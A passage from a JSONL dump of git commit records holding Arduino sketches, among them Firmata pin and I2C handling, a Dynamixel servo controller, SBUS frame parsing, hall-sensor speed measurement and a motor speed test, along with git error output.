on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n analogWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case SERVO:\n if (IS_PIN_SERVO(pin)) {\n pinConfig[pin] = SERVO;\n if (!servos[PIN_TO_SERVO(pin)].attached()) {\n servos[PIN_TO_SERVO(pin)].attach(PIN_TO_DIGITAL(pin));\n }\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value) {\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case SERVO:\n if (IS_PIN_SERVO(pin))\n servos[PIN_TO_SERVO(pin)].write(value);\n pinState[pin] = value;\n break;\n case PWM:\n if (IS_PIN_PWM(pin))\n analogWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value) {\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS)\n lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n *\/\n\/\/ void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value) {\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~(1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value) {\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n * SYSEX-BASED commands\n *============================================================================*\/\n\nvoid sysexCallback(byte command, byte argc, byte *argv) {\n byte mode;\n byte slaveAddress;\n byte slaveRegister;\n byte data;\n unsigned int delayTime;\n\n switch (command) {\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) {\n Firmata.sendString(\"10-bit addressing mode is not yet supported\");\n return;\n } else {\n slaveAddress = argv[0];\n }\n\n switch (mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n#if ARDUINO >= 100\n Wire.write(data);\n#else\n Wire.send(data);\n#endif\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n } else {\n \/\/ a slave register is NOT specified\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n readAndReportData(slaveAddress, (int)REGISTER_NOT_SPECIFIED, data);\n }\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"too many queries\");\n break;\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = argv[2] + (argv[3] << 7);\n query[queryIndex].bytes = argv[4] + (argv[5] << 7);\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip;\n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1;\n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr = slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n\n for (byte i = queryIndexToSkip; i < queryIndex + 1; i++) {\n if (i < MAX_QUERIES) {\n query[i].addr = query[i + 1].addr;\n query[i].reg = query[i + 1].addr;\n query[i].bytes = query[i + 1].bytes;\n }\n }\n queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if (delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n\n break;\n case SERVO_CONFIG:\n if (argc > 4) {\n \/\/ these vars are here for clarity, they'll optimized away by the compiler\n byte pin = argv[0];\n int minPulse = argv[1] + (argv[2] << 7);\n int maxPulse = argv[3] + (argv[4] << 7);\n\n if (IS_PIN_SERVO(pin)) {\n if (servos[PIN_TO_SERVO(pin)].attached())\n servos[PIN_TO_SERVO(pin)].detach();\n servos[PIN_TO_SERVO(pin)]\n .attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse);\n setPinModeCallback(pin, SERVO);\n }\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/ Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2)\n val |= (argv[2] << 7);\n if (argc > 3)\n val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Serial.write(START_SYSEX);\n Serial.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Serial.write((byte)INPUT);\n Serial.write(1);\n Serial.write((byte)OUTPUT);\n Serial.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Serial.write(ANALOG);\n Serial.write(10);\n }\n if (IS_PIN_PWM(pin)) {\n Serial.write(PWM);\n Serial.write(8);\n }\n if (IS_PIN_SERVO(pin)) {\n Serial.write(SERVO);\n Serial.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Serial.write(I2C);\n Serial.write(1); \/\/ to do: determine appropriate value\n }\n Serial.write(127);\n }\n Serial.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Serial.write(START_SYSEX);\n Serial.write(PIN_STATE_RESPONSE);\n Serial.write(pin);\n if (pin < TOTAL_PINS) {\n Serial.write((byte)pinConfig[pin]);\n Serial.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80)\n Serial.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000)\n Serial.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Serial.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Serial.write(START_SYSEX);\n Serial.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Serial.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Serial.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins() {\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing\n \/\/ Arduino.h to get SCL and SDA pins\n for (i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n }\n }\n\n isI2CEnabled = true;\n\n \/\/ is there enough time before the first I2C request to call this here?\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n \/\/ uncomment the following if or when the end() method is added to Wire\n \/\/ library\n \/\/ Wire.end();\n}\n\n\/*==============================================================================\n * SETUP()\n *============================================================================*\/\n\nvoid systemResetCallback() {\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n if (isI2CEnabled) {\n disableI2CPins();\n }\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n for (byte i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n \/* send digital inputs to set the initial state on the host computer,\n * since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n}\n\nvoid setup() {\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n Firmata.begin(57600);\n systemResetCallback(); \/\/ reset to default config\n}\n\n\/*==============================================================================\n * LOOP()\n *============================================================================*\/\nvoid loop() {\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n * FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n\n \/* SERIALREAD - processing incoming messagse as soon as possible, while still\n * checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/* SEND FTDI WRITE BUFFER - make sure that the FTDI buffer doesn't go over\n * 60 bytes. use a timer to sending an event character every 4 ms to\n * trigger the buffer to dump. *\/\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'contrib\/ExtendedFirmata\/ExtendedFirmata.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fe37a3c5383c7d273a943b288f4aa86a0832296a","subject":"Ecran: mise en forme du code","message":"Ecran: mise en forme du code\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Ecran\/BotMenu\/BotMenu\/BotMenu.ino","new_file":"Module Cerveau\/Ecran\/BotMenu\/BotMenu\/BotMenu.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Ecran\/BotMenu\/BotMenu\/BotMenu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a897e9ac2aeb5805c2ea7b5fbc69af6966aeedb3","subject":"Adding OpenCM9.04 sourcecode.","message":"Adding OpenCM9.04 sourcecode.\n","repos":"mosass\/HexapodRobot,mosass\/HexapodRobot,mosass\/HexapodRobot,mosass\/HexapodRobot","old_file":"OpenCM9.04\/JointsController\/JointsController.ino","new_file":"OpenCM9.04\/JointsController\/JointsController.ino","new_contents":"\/* Minimum_Source*\/\n#define DXL_BUS_SERIAL3 3\n#define NUMBER_OF_JOINTS 12\n\n#define WRITE_WORD 0x07\n#define WRITE_BYTE 0x06\n#define READ_WORD 0x05\n#define READ_BYTE 0x04\n\n#define NACK 0x55\n#define ACK 0xAA\n\nDynamixel Dxl(DXL_BUS_SERIAL3);\n\nvoid setup(){\n Serial2.begin(115200);\n pinMode(BOARD_LED_PIN, OUTPUT); \/\/toggleLED_Pin_Out\n Dxl.begin(3);\n \n for(int i = 1; i <= NUMBER_OF_JOINTS; i++){\n Dxl.jointMode(i);\n }\n}\n\nvoid loop(){\n toggleLED();\n byte buf[5];\n while(!Serial2.available());\n buf[0] = Serial2.read();\n while(!Serial2.available());\n buf[1] = Serial2.read();\n while(!Serial2.available());\n buf[2] = Serial2.read();\n \n byte command = buf[0] >> 5;\n byte id = buf[0] & 0x1F;\n byte address = buf[1];\n\n switch(command){\n case READ_BYTE:\n {\n byte chksum = ~(buf[0] + buf[1]);\n if(!(chksum == buf[2])){\n Serial2.flush();\n Serial2.write(NACK);\n break;\n }\n byte byte_data = Dxl.readByte(id, address);\n Serial2.write(ACK);\n Serial2.write(byte_data);\n break;\n }\n case READ_WORD:\n {\n byte chksum = ~(buf[0] + buf[1]);\n if(!(chksum == buf[2])){\n Serial2.flush();\n Serial2.write(NACK);\n break;\n }\n word word_data = Dxl.readWord(id, address);\n Serial2.write(ACK);\n Serial2.write(0xFF & (word_data >> 8));\n Serial2.write(0xFF & word_data);\n break;\n }\n case WRITE_BYTE:\n {\n while(!Serial2.available());\n buf[3] = Serial2.read();\n byte chksum = ~(buf[0] + buf[1] + buf[2]);\n if(!(chksum == buf[3])){\n Serial2.flush();\n Serial2.write(NACK);\n break;\n }\n Dxl.writeByte(id, address, buf[2]);\n Serial2.write(ACK);\n break;\n }\n case WRITE_WORD:\n {\n while(!Serial2.available());\n buf[3] = Serial2.read();\n while(!Serial2.available());\n buf[4] = Serial2.read();\n byte chksum = ~(buf[0] + buf[1] + buf[2] + buf[3]);\n if(!(chksum == buf[4])){\n Serial2.flush();\n Serial2.write(NACK);\n break;\n }\n Dxl.writeWord(id, address, (buf[2] << 8) | buf[3]);\n Serial2.write(ACK);\n break;\n }\n default:\n {\n Serial2.flush();\n Serial2.write(NACK);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenCM9.04\/JointsController\/JointsController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"736ae8b6c6f6d94f2fc8c3f37151c92dadcadc79","subject":"Added code that converts Celsius to Fahrenheit.","message":"Added code that converts Celsius to Fahrenheit.","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"Temperature and Humidity\/DHTtester\/DHTtester.ino","new_file":"Temperature and Humidity\/DHTtester\/DHTtester.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Temperature' did not match any file(s) known to git\nerror: pathspec 'and' did not match any file(s) known to git\nerror: pathspec 'Humidity\/DHTtester\/DHTtester.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d1f5675167bef8be38a4f843bda38546a1426dfb","subject":"Added Logger for SD Card : Error creating files","message":"Added Logger for SD Card : Error creating files\n","repos":"TheBeachMaster\/DemoIOT","old_file":"IOTSln\/William_Code\/William_Code.ino","new_file":"IOTSln\/William_Code\/William_Code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/DemoIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"08a3c9c8caaa71dc379d4122323b130aec25d5d2","subject":"Arduino Test File for using Serial instead of I2C","message":"Arduino Test File for using Serial instead of I2C\n\nSwitching from I2C to Serial because I2C is the worst no really the worst","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"ArduinoSerialTest.ino","new_file":"ArduinoSerialTest.ino","new_contents":"const int ledPin = 13;\nString test = \"\";\n\nvoid setup()\n{\n pinMode(ledPin, OUTPUT);\n Serial.begin(9600);\n Serial1.begin(115200);\n Serial1.setTimeout(50);\n}\n\nvoid loop()\n{\n digitalWrite(ledPin, LOW);\n if(Serial1.available())\n {\n checkSerial();\n }\n}\nvoid checkSerial()\n{\n digitalWrite(ledPin, HIGH);\n test = \"\";\n while(Serial1.available()) \n {\n test = Serial1.readString();\n }\n Serial.println(test);\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoSerialTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"975b81b4de563622e80a8afd9839c6066f791d6c","subject":"updated to stop overflow error and print one line instead of two","message":"updated to stop overflow error and print one line instead of two\n","repos":"MSOE-Supermileage\/datacollector,MSOE-Supermileage\/datacollector,MSOE-Supermileage\/datacollector","old_file":"arduino\/hall_sense_speed.ino","new_file":"arduino\/hall_sense_speed.ino","new_contents":"\/*\n * attaches an interrupt that is triggered with each rotation of the tire. \n * calculates speed and rpms assuming a tire with diameter of 20 inches. \n *\/\n const float pi = 3.1415926;\n int revs;\n double rpm;\n double timeold;\n double r = 10; \/\/in inches\n double car_speed;\n double ipm;\n double curtime;\n double ms;\n double minutes;\n \n void setup()\n {\n Serial.begin(9600);\n attachInterrupt(0, magnet_detect, RISING);\/\/Initialize the intterrupt pin (Arduino digital pin 2)\n revs = 0;\n rpm = 0;\n timeold = 0;\n }\n \n void loop()\/\/Measure RPM\n {\n if (revs >= 2) {\n curtime = millis();\n ms = curtime - timeold;\n minutes = ms\/1000\/60;\n rpm = revs\/minutes;\n timeold = millis();\n ipm = rpm*2.0*pi*r; \/\/inches per minute\n car_speed = ((ipm*60)\/12)\/5280;\n\n Serial.printf(\"%d,%d\", rpm, car_speed);\n \n revs = 0;\n }\n }\n \n void magnet_detect()\/\/This function is called whenever a magnet\/interrupt is detected by the arduino\n {\n revs++;\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/hall_sense_speed.ino' did not match any file(s) known to git\n","license":"epl-1.0","lang":"Arduino"} {"commit":"9bec3994d9ce7811e2ef722cd8f60dccfcadbf52","subject":"Delete mqtt_lightSensor.ino","message":"Delete mqtt_lightSensor.ino","repos":"nakulsolanki\/HomeAutomation,nakulsolanki\/HomeAutomation,nakulsolanki\/HomeAutomation","old_file":"arduino\/mqtt_lightSensor.ino","new_file":"arduino\/mqtt_lightSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nakulsolanki\/HomeAutomation.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e1edf825c6c330e6e30049f10f0e6ac1a804a8e8","subject":"moved speed test in a separate sub-project","message":"moved speed test in a separate sub-project\n","repos":"cazacov\/Arduino,cazacov\/Arduino","old_file":"Pianist\/SpeedTest\/Pianist.ino","new_file":"Pianist\/SpeedTest\/Pianist.ino","new_contents":"#include <Encoder.h>\n\n\/\/Arduino PWM Speed Contro\n#define E1 5 \n#define M1 4 \n#define E2 6 \n#define M2 7\n\n#define DATASIZE 500\n\nint bigdata[DATASIZE];\n\/\/int bigtime[DATASIZE];\n\n\/\/ Calibration sensor \n#define ST 8\n\n\/\/ Encoders\n#define ENC1 2\n#define ENC2 3\n\n#define EPSILON 10\n\nchar buf [20];\n\nint initPos = 0;\nint curPos = 0;\nint stopPos = 0;\n\nlong initTime;\nlong curTime;\nlong nxtTime;\n\n\n\nEncoder myEncoder(ENC1, ENC2);\n\nvoid setup()\n{\n Serial.begin(57600); \n pinMode(M1, OUTPUT); \n pinMode(M2, OUTPUT); \n pinMode(E1, OUTPUT); \n pinMode(E2, OUTPUT); \n pinMode(ST, INPUT); \n pinMode(ENC1, INPUT); \n pinMode(ENC2, INPUT); \n}\n\nvoid loop()\n{\n Serial.println(\"Hallo Welt!.\");\n delay(3000);\n Serial.println(\"Calibrating...\");\n delay(3000);\n Calibrate();\n Serial.println(\"Done.\");\n \n GoTo(1000);\n delay(500);\n GoTo(1000);\n delay(500);\n GoTo(1000);\n delay(500);\n GoTo(1000);\n delay(1000);\n \n initPos = myEncoder.read();\n stopPos = initPos + 7000; \n Serial.println(initPos);\n delay(500);\n \n int idx = 0;\n SetMotorSpeed(250); \n unsigned int isRunning = 1;\n \n initTime = micros();\n \n while(true)\n {\n curTime = micros();\n curPos = myEncoder.read();\n \n if (isRunning && (curPos > stopPos))\n {\n SetMotorSpeed(0); \n isRunning = 0;\n }\n int deltaX = curPos - initPos;\n int deltaT = (curTime - initTime) \/ 100;\n bigdata[idx] = isRunning << 15 | deltaX;\n\/\/ bigtime[idx] = deltaT;\n \n idx++;\n if (idx >= DATASIZE)\n {\n break;\n }\n \n nxtTime = curTime + 1000;\n \n while (micros() < nxtTime)\n {\n ;\n }\n }\n \n Serial.println(\"Finished\");\n \n for (int i = 0; i < DATASIZE; i++)\n {\n isRunning = (bigdata[i] & 0x8000) ? 1 : 0;\n sprintf(buf, \"%d\\t%d\\t%d\", i, isRunning, (bigdata[i] & 0x7FFF)),\n Serial.println(buf);\n }\n \n Serial.println(\"Done\");\n \n while(true);\n}\n\nvoid GoTo(long pos)\n{\n long myPos;\n do \n {\n myPos = myEncoder.read();\n if (abs(myPos - pos) < EPSILON)\n {\n SetMotorSpeed(0);\n }\n else if (myPos < pos)\n {\n SetMotorSpeed(255);\n }\n else\n {\n SetMotorSpeed(-255);\n }\n }\n while (abs(myPos - pos) > EPSILON);\n\n SetMotorSpeed(0);\n sprintf(buf, \"%ld %ld\", pos, myPos);\n Serial.println(buf);\n} \n\n\nvoid Calibrate()\n{\n for (short i = 0; i < 3; i++)\n {\n Serial.println(\"Going left...\");\n if (digitalRead(ST) == HIGH)\n {\n SetMotorSpeed(-255);\n while(digitalRead(ST) == HIGH)\n {\n ;\n }\n SetMotorSpeed(0);\n }\n Serial.println(\"Going right...\"); \n SetMotorSpeed(200);\n while(digitalRead(ST) == LOW)\n {\n ;\n }\n myEncoder.write(0);\n }\n SetMotorSpeed(0);\n}\n \n \n \n \nvoid SetMotorSpeed(signed int motorSpeed)\n{\n if (motorSpeed < 0)\n {\n digitalWrite(M1, HIGH);\n }\n else\n {\n digitalWrite(M1, LOW);\n } \n \n int ms = abs(motorSpeed);\n if (ms > 255)\n {\n ms = 255;\n }\n analogWrite(E1, ms); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pianist\/SpeedTest\/Pianist.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f5a90f911a8cb96a3492e373db8b8e91e0c169b","subject":"Updated SBUS","message":"Updated SBUS\n","repos":"yankailab\/OpenKAI,yankailab\/OpenKAI,yankailab\/OpenKAI,yankailab\/OpenKAI,yankailab\/OpenKAI","old_file":"firmware\/arduino\/arduSBUSuart.ino","new_file":"firmware\/arduino\/arduSBUSuart.ino","new_contents":"#include <Arduino.h>\n\n#define DEBUG_\n\n\/\/SBus definition\n#define HEADER_ 0x0F\n#define FOOTER_ 0x00\n#define FOOTER2_ 0x04\n#define LEN_ 35\n#define CH17_ 0x01\n#define CH18_ 0x02\n#define LOST_FRAME_ 0x04\n#define FAILSAFE_ 0x08\n\nstruct SBUS_FRAME\n{\n uint8_t m_pB[LEN_];\n uint8_t m_iB;\n uint8_t m_prevB;\n bool m_bLostFrame;\n bool m_bFailSafe;\n bool m_bCh17;\n bool m_bCh18;\n\n uint16_t m_pC[16];\n\n void init(void)\n {\n m_iB = 0;\n m_bLostFrame = false;\n m_bFailSafe = false;\n m_bCh17 = false;\n m_bCh18 = false;\n\n m_prevB = FOOTER_;\n }\n\n bool input(uint8_t c)\n {\n if (m_iB == 0)\n {\n if ((c == HEADER_))\/\/ && ((m_prevB == FOOTER_) || ((m_prevB & 0x0F) == FOOTER2_)))\n {\n m_pB[m_iB++] = c;\n m_prevB = c;\n }\n\n return false;\n }\n\n if (m_iB < LEN_)\n {\n m_pB[m_iB++] = c;\n m_prevB = c;\n }\n\n if (m_iB < LEN_)\n return false;\n\n m_iB = 0;\n return true;\n \n if ((m_pB[LEN_ - 1] == FOOTER_) || ((m_pB[LEN_ - 1] & 0x0F) == FOOTER2_))\n {\n return true;\n }\n\n return false;\n }\n\n void decode(void)\n {\n for(int i=0; i<16; i++)\n {\n m_pC[i] = static_cast<uint16_t>(m_pB[i*2+1] << 8 | m_pB[i*2+2]);\n }\n \n\/\/ m_bLostFrame = m_pB[23] & LOST_FRAME_;\n\/\/ m_bLostFrame = m_pB[23] & FAILSAFE_;\n }\n\n void encode(void)\n {\n for(int i=0; i<16; i++)\n {\n m_pB[i*2 + 1] = static_cast<uint8_t>(m_pC[i] >> 8);\n m_pB[i*2 + 2] = static_cast<uint8_t>(m_pC[i] & 0x00FF); \n }\n\n m_pB[34] = checksum(&m_pB[1], 33);\n }\n\nuint8_t checksum(uint8_t *buf, uint8_t len)\n{\n uint8_t checksum = 0;\n\n for (int i = 0; i < len; ++i)\n checksum ^= buf[i];\n\n return checksum;\n}\n\n};\n\nSBUS_FRAME g_sf;\nint g_iL;\n\nvoid setup()\n{\n g_sf.init();\n g_iL = 0;\n Serial1.begin(115200);\n\n#ifdef DEBUG_\n Serial.begin(115200);\n#endif\n}\n\nvoid loop()\n{\n if(Serial1.available() > 0)\n {\n uint8_t c = Serial1.read();\n\n if (g_sf.input(c))\n {\n g_sf.decode();\n g_sf.init();\n\n g_sf.m_pC[2] = 1700;\n g_sf.encode();\n Serial1.write(g_sf.m_pB, LEN_); \n\n#ifdef DEBUG_\n Serial.print(\"C: \");\n for (int i = 0; i < 16; i++)\n {\n Serial.print(g_sf.m_pC[i], DEC);\n Serial.print(\", \");\n }\n Serial.print(\"bFS=\");\n Serial.print(g_sf.m_bFailSafe, BIN);\n Serial.print(\", bLS=\");\n Serial.print(g_sf.m_bLostFrame, BIN);\n\n Serial.println();\n#endif\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/arduino\/arduSBUSuart.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"0b6b6399b6dc7d7be6542f385ac7a138125cd306","subject":"Driving is actually not bad!","message":"Driving is actually not bad!\n","repos":"Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost","old_file":"Arduino\/Ghost\/Ghost.ino","new_file":"Arduino\/Ghost\/Ghost.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 